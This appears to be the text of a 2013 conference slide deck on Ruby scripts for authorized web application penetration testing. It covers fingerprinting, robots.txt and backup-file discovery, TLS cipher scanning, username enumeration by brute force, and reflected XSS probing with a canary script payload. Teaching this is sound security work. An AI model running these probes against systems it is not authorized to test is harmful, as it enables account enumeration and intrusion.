37
Solid as Diamond Using Ruby in a web application penetration test Wednesday, September 18, 13

festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Embed Size (px)

DESCRIPTION

 

Citation preview

Page 1: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Solid as DiamondUsing Ruby in a web application penetration test

Wednesday, September 18, 13

Page 2: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

self.inspect

• I do stuff: husband, proud father && martial artist

• I break other people code for living (only when authorized)

• I blog at: http://armoredcode.com

• I’m on github too: https://github.com/thesp0nge

• I love twitter: @thesp0nge, @armoredcode

2Wednesday, September 18, 13

Page 3: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

talk.inspect

• Owasp Top 10 2013

• Ruby code to...

• Leverage a web application attack surface

• Bruteforce authentication mechanism

• Look for Cross site scripting

3Wednesday, September 18, 13

Page 4: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Disclaimer

4

Attack only sites you’re authorized to

Wednesday, September 18, 13

Page 5: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Change your mindset. You’re an attacker now!

5

Your web application is a blackboxYou’ve got only a URL as a starting point

(optional) You may have a valid user, instead you have to register a user to the application

Good luck!

Wednesday, September 18, 13

Page 6: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

It all starts with...

6

... someone wants to publish a new web application on the Internet or on an Internal

network, she gives me the url saying: “test it for security issues, please”...

Wednesday, September 18, 13

Page 7: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Our target

7Wednesday, September 18, 13

Page 8: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

The Owasp Top 10 - 2013

8

• A1 – Injection

• A2 – Broken Authentication and Session Management

• A3 – Cross-Site Scripting (XSS)

• A4 – Insecure Direct Object References

• A5 – Security Misconfiguration

• A6 – Sensitive Data Exposure

• A7 – Missing Function Level Access Control

• A8 – Cross-Site Request Forgery (CSRF)

• A9 – Using Known Vulnerable Components

• A10 – Unvalidated Redirects and Forwards

https://www.owasp.org/index.php/Top_10_2013

Wednesday, September 18, 13

Page 9: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Leverage your attack surface

9Wednesday, September 18, 13

Page 10: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Leverage your attack surface

10

Spot attack entrypoints: (robots.txt and url discovery with bruteforce)

Fingerprint your target

Check transport layer security

Check for the service door (backup files)

Wednesday, September 18, 13

Page 11: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Fingerprint your target

11

• Meta generator tag

• Server HTTP response field

• X-Powered-by HTTP response field

• Popular pages with extension (login.do, index.jsp, main.asp, login.php, phpinfo.php...)

• The HTTP response field order (soon it will be implemented in the gengiscan gem)

Wednesday, September 18, 13

Page 12: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Fingerprint your target

12

def detect(url)uri = URI(url)begin

res = Net::HTTP.get_response(uri){:status=>:OK, :code=>res.code, :server=>res['Server'],

:powered=>res['X-Powered-By'], :generator=>get_generator_signature(res)} rescue

{:status=>:KO, :code=>nil, :server=>nil, :powered=>nil, :generator=>nil}end

end

def get_generator_signature(res)generator = ""doc=Nokogiri::HTML(res.body)doc.xpath("//meta[@name='generator']/@content").each do |value|

generator = value.valueendgenerator

end

$ gem install gengiscan$ gengiscan http://localhost:4567{:status=>:OK, :code=>"404", :server=>"WEBrick/1.3.1 (Ruby/1.9.3/2012-04-20)", :powered=>nil, :generator=>""}

Wednesday, September 18, 13

Page 13: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Spot attack entrypoints

13

robots.txt to discover

to fingerprint

Wednesday, September 18, 13

Page 14: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Spot attack entrypoints

14

# TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001) def self.robots(site)

site = 'http://'+site unless site.start_with? 'http://' or site.start_with? 'https://'allow_list = []disallow_list = []begin

res=Net::HTTP.get_response(URI(site+'/robots.txt'))return {:status=>:KO, :allow_list=>[],

:disallow_list=>[], :error=>"robots.txt response code was #{res.code}"} if (res.code != "200")

res.body.split("\n").each do |line| disallow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('disallow')) allow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('allow'))

endrescue Exception => e

return {:status=>:KO, :allow_list=>[], :disallow_list=>[], :error=>e.message}end{:status=>:OK, :allow_list=>allow_list, :disallow_list=>disallow_list, :error=>""}

end

$ gem install codesake_links$ links -r http://localhost:4567

Wednesday, September 18, 13

Page 15: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Spot attack entrypoints

15

• Use a dictionary to discover URLs with bruteforce

• Very intrusive attack... you’ll be busted, be aware

$ gem install codesake_links$ links -b test_case_dir_wordlist.txt http://localhost:4567

Wednesday, September 18, 13

Page 16: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Check transport layer security

16

$ gem install ciphersurfer$ ciphersurfer www.gmail.comEvaluating secure communication with www.gmail.com:443 Overall evaluation : B (76.5) Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55) Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80) Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90)

Evaluate an SSL connection for:• protocols the server supports• cipher length• certificate key length

Wednesday, September 18, 13

Page 17: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Check transport layer security

17

def go context=OpenSSL::SSL::SSLContext.new(@proto) cipher_set = context.ciphers cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits|

request = Net::HTTP.new(@host, @port) request.use_ssl = true request.verify_mode = OpenSSL::SSL::VERIFY_NONE request.ciphers= cipher_name begin response = request.get("/") @ok_bits << bits @ok_ciphers << cipher_name rescue OpenSSL::SSL::SSLError => e # Quietly discard SSLErrors, really I don't care if the cipher has # not been accepted rescue # Quietly discard all other errors... you must perform all error # chekcs in the calling program end endend

protocol_version.each do |version| s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version})

s.go if (s.ok_ciphers.size != 0) supported_protocols << version cipher_bits = cipher_bits | s.ok_bits ciphers = ciphers | s.ok_ciphers end

end

Wednesday, September 18, 13

Page 18: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Check for the service door

18

require 'anemone'require 'httpclient'

h=HTTPClient.new()Anemone.crawl(ARGV[0]) do |anemone| anemone.on_every_page do |page| response = h.get(page.url) puts "Original: #{page.url}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".bak")) puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".old")) puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat("~")) puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}" endend

Wednesday, September 18, 13

Page 19: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Demo

19Wednesday, September 18, 13

Page 20: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Bruteforce authentication mechanism

20Wednesday, September 18, 13

Page 21: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Am I vulnerable?

21Wednesday, September 18, 13

Page 22: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Am I vulnerable?

22Wednesday, September 18, 13

Page 23: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

How do I break this?

23

1. Use an existing user to check the HTML

<p>Wrong password for admin user

</p>

2. Place a canary string to anonymize the output

<p>Wrong password for canary_username user

</p>

3. Submit the post and check if the response is the one expected with the canary substituted

<p>Wrong password for tom user

</p>

Wednesday, September 18, 13

Page 24: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

How do I break this?

24

def post(url, username, password) agent = Mechanize.new agent.user_agent_alias = 'Mac Safari' agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE

username_set = false password_set = false

page = agent.get(url) page.forms.each do |form| form.fields.each do |field| if field.name.downcase == 'username' or field.name.downcase== 'login' username_set = true field.value = username end if field.name.downcase == 'password' or field.name.downcase== 'pass' or

field.name.downcase== 'pwd' password_set = true field.value = password end end return agent.submit(form) if username_set and password_set end return nilend

Wednesday, September 18, 13

Page 25: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

How do I break this?

25

log("existing user #{username} used as canary")

wrong_pwd = post(url, username, "caosintheground").body.gsub(username, 'canary_username')wrong_creds = post(url, "caostherapy", "caosintheground").body.gsub("caostherapy", "canary_username")

if ! line.start_with?("#")sleep(@sleep_time)log("awake... probing with: #{line}")r= post(url, line, ".4nt4n1")found << line if r.body == wrong_pwd.gsub("canary_username", line)

end

Wednesday, September 18, 13

Page 26: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Demo

26Wednesday, September 18, 13

Page 27: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Look for Cross Site Scripting(reflected)

27Wednesday, September 18, 13

Page 28: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Look for Cross Site Scripting

28Wednesday, September 18, 13

Page 29: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Look for Cross Site Scripting

29Wednesday, September 18, 13

Page 30: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Look for Cross Site Scripting

30

• In GETs

• Submit the attack payload as parameter in the query string

• Parse HTML and check if payload is in the script nodes

• In POSTs

• Get the page

• Find the form(s)

• Fill the form input values with attack payload

• Submit the form

• Parse HTML and check if payload is in the script nodes

Wednesday, September 18, 13

Page 31: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Look for Cross Site Scripting

31

attack_url = Cross::Url.new(url)

Cross::Attack::XSS.each do |pattern|attack_url.params.each do |par|page = @agent.get(attack_url.fuzz(par[:name],pattern))@agent.log.debug(page.body) if debug?scripts = page.search("//script")scripts.each do |sc|found = true if sc.children.text.include?("alert('cross canary')")@agent.log.debug(sc.children.text) if @options[:debug]

endattack_url.reset

endend

Exploiting GETs...

$ gem install cross$ cross -u http://localhost:4567/hello?name=paolo

Wednesday, September 18, 13

Page 32: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Look for Cross Site Scripting

32

beginpage = @agent.get(url)

rescue Mechanize::UnauthorizedErrorputs 'Authentication failed. Giving up.'return false

rescue Mechanize::ResponseCodeErrorputs 'Server gave back 404. Giving up.'return false

end puts "#{page.forms.size} form(s) found" if debug?

page.forms.each do |f|f.fields.each do |ff|

ff.value = "<script>alert('cross canary');</script>"endpp = @agent.submit(f)puts "#{pp.body}" if debug?scripts = pp.search("//script")scripts.each do |sc|

found = true if sc.children.text == "alert('cross canary');"end

end

Exploiting POSTs...

$ gem install cross$ cross http://localhost:4567/login

Wednesday, September 18, 13

Page 33: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Demo

33Wednesday, September 18, 13

Page 34: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

What we learnt

34

• Don’t trust your users

• “Security through obscurity” is EVIL

• Testing for security issues is a mandatory step before deploy

• HTTPS won’t safe from XSS or SQL Injections

Wednesday, September 18, 13

Page 35: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Some links before we leave

35

http://armoredcode.com/blog/categories/pentest-with-ruby/

https://github.com/codesake

http://ronin-ruby.github.com/https://github.com/rapid7/metasploit-framework

http://www.owasp.orghttp://brakemanscanner.org/

Not mine, here because they’re cool

http://www.youtube.com/user/armoredcodedotcom

Wednesday, September 18, 13

Page 36: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Questions?

36Wednesday, September 18, 13

Page 37: festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Thank you!

37Wednesday, September 18, 13